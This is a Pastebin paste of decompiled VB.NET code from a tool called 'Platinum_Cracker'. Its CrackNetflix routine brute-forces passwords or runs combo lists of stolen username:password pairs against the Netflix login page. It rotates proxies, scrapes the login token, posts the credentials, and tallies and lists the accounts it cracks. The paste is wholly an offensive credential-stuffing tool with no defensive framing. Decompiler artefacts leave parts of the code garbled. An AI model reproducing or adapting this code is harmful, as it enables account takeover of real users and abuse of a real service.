API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Jun 29th, 2016
6,552
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.84 KB | None | 0 0
raw download clone embed print report
  1. ' Platinum_Cracker.Form1
  2. Private Sub CrackNetflix()
  3. Dim closure$__ As Form1._Closure$__9 = New Form1._Closure$__9(closure$__)
  4. closure$__.$VB$Me = Me
  5. New Random(DateAndTime.Now.Millisecond)
  6. closure$__.$VB$Local_Account = String.Empty
  7. closure$__.$VB$Local_Username = String.Empty
  8. closure$__.$VB$Local_Password = String.Empty
  9. Dim webHeaderCollection As WebHeaderCollection = New WebHeaderCollection()
  10. webHeaderCollection.Add(HttpRequestHeader.AcceptLanguage, "en-US,en;q=0.5")
  11. webHeaderCollection.Add(HttpRequestHeader.AcceptEncoding, "gzip, deflate")
  12. Dim regex As Regex = New Regex("authURL"" value=""(.+?)""")
  13.  
  14. While True
  15. If Me.BruteforcerCracked Then
  16. Dim threadLocker As Object = Me.ThreadLocker
  17. ObjectFlowControl.CheckForSyncLockOnValueType(threadLocker)
  18. SyncLock threadLocker
  19. Me.CrackerClosedThreads += 1
  20. If Me.CrackerClosedThreads > Me.CrackerTotalThreads Then
  21. AddressOf Me.UpTimer1.[Stop]()
  22. End If
  23. GoTo IL_77
  24. End SyncLock
  25. Continue While
  26. End If
  27. IL_77:
  28. If Me.Bruteforcer Then
  29. closure$__.$VB$Local_Username = AddressOf AddressOf Me.TextBox1.Text
  30. closure$__.$VB$Local_Password = Me.GetPassword()
  31. If String.IsNullOrEmpty(closure$__.$VB$Local_Password) Then
  32. Exit While
  33. End If
  34. Else
  35. closure$__.$VB$Local_Account = Me.GetAccount()
  36. If String.IsNullOrEmpty(closure$__.$VB$Local_Account) Then
  37. GoTo IL_5FE
  38. End If
  39. If Not closure$__.$VB$Local_Account.Contains(":") Then
  40. Continue While
  41. End If
  42. closure$__.$VB$Local_Username = closure$__.$VB$Local_Account.Split(New Char()() { ":" })(0)
  43. closure$__.$VB$Local_Password = closure$__.$VB$Local_Account.Split(New Char()() { ":" })(1)
  44. End If
  45. Dim response As Form1.RequestInfo
  46. Dim text As String
  47. While True
  48. Dim proxy As WebProxy = Me.GetProxy()
  49. If Me.Cancel Then
  50. GoTo Block_12
  51. End If
  52. Dim cookies As CookieContainer = New CookieContainer()
  53. Dim request As HttpWebRequest
  54. If Me.UseProxys Then
  55. request = Me.CreateRequest("https://www.netflix.com/Login?locale=en-GB", cookies, "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "", Nothing, False, "application/x-www-form-urlencoded", proxy)
  56. Else
  57. request = Me.CreateRequest("https://www.netflix.com/Login?locale=en-GB", cookies, "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "", Nothing, False, "application/x-www-form-urlencoded", Nothing)
  58. End If
  59. response = Me.GetResponse(request)
  60. If Not response.Success Then
  61. Debug.Print("Unable to load main page.")
  62. Else
  63. text = Me.ReadResponse(response.Response)
  64. If text.Contains("Sorry, Netflix is not available in your country yet.") Then
  65. Debug.Print("proxy not supported")
  66. Else
  67. If Not regex.IsMatch(text) Then
  68. Debug.Print("Authencity token was not found.")
  69. Else
  70. Dim value As String = regex.Match(text).Groups(1).Value
  71. If Me.UseProxys Then
  72. request = Me.CreateRequest("https://www.netflix.com/Login?locale=en-GB&nextpage=http%3A%2F%2Fwww.netflix.com%2FWiHome", cookies, "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "https://www.netflix.com/Login?locale=en-GB&nextpage=http%3A%2F%2Fwww.netflix.com%2FWiHome", webHeaderCollection, True, "application/x-www-form-urlencoded", proxy)
  73. Else
  74. request = Me.CreateRequest("https://www.netflix.com/Login?locale=en-GB&nextpage=http%3A%2F%2Fwww.netflix.com%2FWiHome", cookies, "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "https://www.netflix.com/Login?locale=en-GB&nextpage=http%3A%2F%2Fwww.netflix.com%2FWiHome", webHeaderCollection, True, "application/x-www-form-urlencoded", Nothing)
  75. End If
  76. If Not Me.WriteToRequest(request, Encoding.[Default].GetBytes(String.Concat(New String()() { "authURL=", HttpUtility.UrlEncode(value), "%3D&email=", HttpUtility.UrlEncode(closure$__.$VB$Local_Username), "&password=", HttpUtility.UrlEncode(closure$__.$VB$Local_Password), "&RememberMe=on" }))) Then
  77. Debug.Print("Error writing to request")
  78. Else
  79. response = Me.GetResponse(request)
  80. If response.Success Then
  81. Exit While
  82. End If
  83. Debug.Print("Error reading login response: " + response.Ex.Message)
  84. End If
  85. End If
  86. End If
  87. End If
  88. End While
  89. text = Me.ReadResponse(response.Response)
  90. If text.Contains("Netflix - Member Login | Sign In To Your Account") Then
  91. Me.Invoke(New MethodInvoker(Sub()
  92. Me.AccountsChecked += 1
  93. End Sub))
  94. If Me.Bruteforcer Then
  95. Me.Invoke(New MethodInvoker(Sub()
  96. AddressOf AddressOf Me.Label8.Text = "Passwords Checked: " + Conversions.ToString(Me.AccountsChecked)
  97. End Sub))
  98. Me.Invoke(New MethodInvoker(Sub()
  99. Dim ProgrssBar As ProgrssBar = AddressOf Me.ProgrssBar1
  100. AddressOf ProgrssBar.Value += Me.FinalProgressBarNumber
  101. End Sub))
  102. Else
  103. Me.Invoke(New MethodInvoker(Sub()
  104. AddressOf AddressOf Me.Label5.Text = "Accounts Checked: " + Conversions.ToString(Me.AccountsChecked)
  105. End Sub))
  106. Me.Invoke(New MethodInvoker(Sub()
  107. Dim ProgrssBar As ProgrssBar = AddressOf Me.ProgrssBar2
  108. AddressOf ProgrssBar.Value += Me.FinalProgressBarNumber
  109. End Sub))
  110. End If
  111. Else
  112. If Not text.Contains("<head><title>Netflix</title>") Then
  113. Debug.Print("Unable to determing if login was successful.")
  114. Me.Invoke(New MethodInvoker(Sub()
  115. Me.AccountsChecked += 1
  116. End Sub))
  117. If Me.Bruteforcer Then
  118. Me.Invoke(New MethodInvoker(Sub()
  119. AddressOf AddressOf Me.Label8.Text = "Passwords Checked: " + Conversions.ToString(Me.AccountsChecked)
  120. End Sub))
  121. Me.Invoke(New MethodInvoker(Sub()
  122. Dim ProgrssBar As ProgrssBar = AddressOf Me.ProgrssBar1
  123. AddressOf ProgrssBar.Value += Me.FinalProgressBarNumber
  124. End Sub))
  125. Else
  126. Me.Invoke(New MethodInvoker(Sub()
  127. AddressOf AddressOf Me.Label5.Text = "Accounts Checked: " + Conversions.ToString(Me.AccountsChecked)
  128. End Sub))
  129. Me.Invoke(New MethodInvoker(Sub()
  130. Dim ProgrssBar As ProgrssBar = AddressOf Me.ProgrssBar2
  131. AddressOf ProgrssBar.Value += Me.FinalProgressBarNumber
  132. End Sub))
  133. End If
  134. Else
  135. Me.Invoke(New MethodInvoker(Sub()
  136. Me.AccountsChecked += 1
  137. End Sub))
  138. Me.Invoke(New MethodInvoker(Sub()
  139. Me.AccountsCracked += 1
  140. End Sub))
  141. If Me.Bruteforcer Then
  142. Me.Invoke(New MethodInvoker(Sub()
  143. AddressOf AddressOf Me.Label8.Text = "Passwords Checked: " + Conversions.ToString(Me.AccountsChecked)
  144. End Sub))
  145. Me.Invoke(New MethodInvoker(Sub()
  146. Dim ProgrssBar As ProgrssBar = AddressOf Me.ProgrssBar1
  147. AddressOf ProgrssBar.Value += Me.FinalProgressBarNumber
  148. End Sub))
  149. Else
  150. Me.Invoke(New MethodInvoker(Sub()
  151. AddressOf AddressOf Me.Label5.Text = "Accounts Checked: " + Conversions.ToString(Me.AccountsChecked)
  152. End Sub))
  153. Me.Invoke(New MethodInvoker(Sub()
  154. Dim ProgrssBar As ProgrssBar = AddressOf Me.ProgrssBar2
  155. AddressOf ProgrssBar.Value += Me.FinalProgressBarNumber
  156. End Sub))
  157. End If
  158. If Me.Bruteforcer Then
  159. Me.BruteforcerCracked = True
  160. Interaction.MsgBox("Account Cracked!" & vbCrLf + closure$__.$VB$Local_Username + ":" + closure$__.$VB$Local_Password, MsgBoxStyle.OkOnly, "Account Cracked")
  161. Me.Invoke(New MethodInvoker(Sub()
  162. AddressOf closure$__.$VB$Me.ListBox1.Items.Add(closure$__.$VB$Local_Username + ":" + closure$__.$VB$Local_Password)
  163. End Sub))
  164. Else
  165. Me.Invoke(New MethodInvoker(Sub()
  166. AddressOf AddressOf Me.Label4.Text = "Accounts Cracked: " + Conversions.ToString(Me.AccountsCracked)
  167. End Sub))
  168. Me.Invoke(New MethodInvoker(Sub()
  169. AddressOf closure$__.$VB$Me.ListBox1.Items.Add(closure$__.$VB$Local_Account)
  170. End Sub))
  171. End If
  172. End If
  173. End If
  174. End While
  175. Dim threadLocker2 As Object = Me.ThreadLocker
  176. ObjectFlowControl.CheckForSyncLockOnValueType(threadLocker2)
  177. SyncLock threadLocker2
  178. Me.CrackerClosedThreads += 1
  179. If Me.CrackerClosedThreads > Me.CrackerTotalThreads Then
  180. AddressOf Me.UpTimer.[Stop]()
  181. Interaction.MsgBox("Password not in list!", MsgBoxStyle.OkOnly, Nothing)
  182. End If
  183. Return
  184. End SyncLock
  185. GoTo IL_5FE
  186. Block_12:
  187. GoTo IL_65D
  188. IL_5FE:
  189. Dim threadLocker3 As Object = Me.ThreadLocker
  190. ObjectFlowControl.CheckForSyncLockOnValueType(threadLocker3)
  191. SyncLock threadLocker3
  192. Me.CrackerClosedThreads += 1
  193. If Me.CrackerClosedThreads > Me.CrackerTotalThreads Then
  194. AddressOf Me.UpTimer.[Stop]()
  195. Interaction.MsgBox("End of list.", MsgBoxStyle.OkOnly, Nothing)
  196. End If
  197. Return
  198. End SyncLock
  199. IL_65D:
  200. Dim threadLocker4 As Object = Me.ThreadLocker
  201. ObjectFlowControl.CheckForSyncLockOnValueType(threadLocker4)
  202. SyncLock threadLocker4
  203. Me.CrackerClosedThreads += 1
  204. If Me.CrackerClosedThreads > Me.CrackerTotalThreads Then
  205. Interaction.MsgBox("Stopped cracking!", MsgBoxStyle.OkOnly, Nothing)
  206. End If
  207. End SyncLock
  208. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!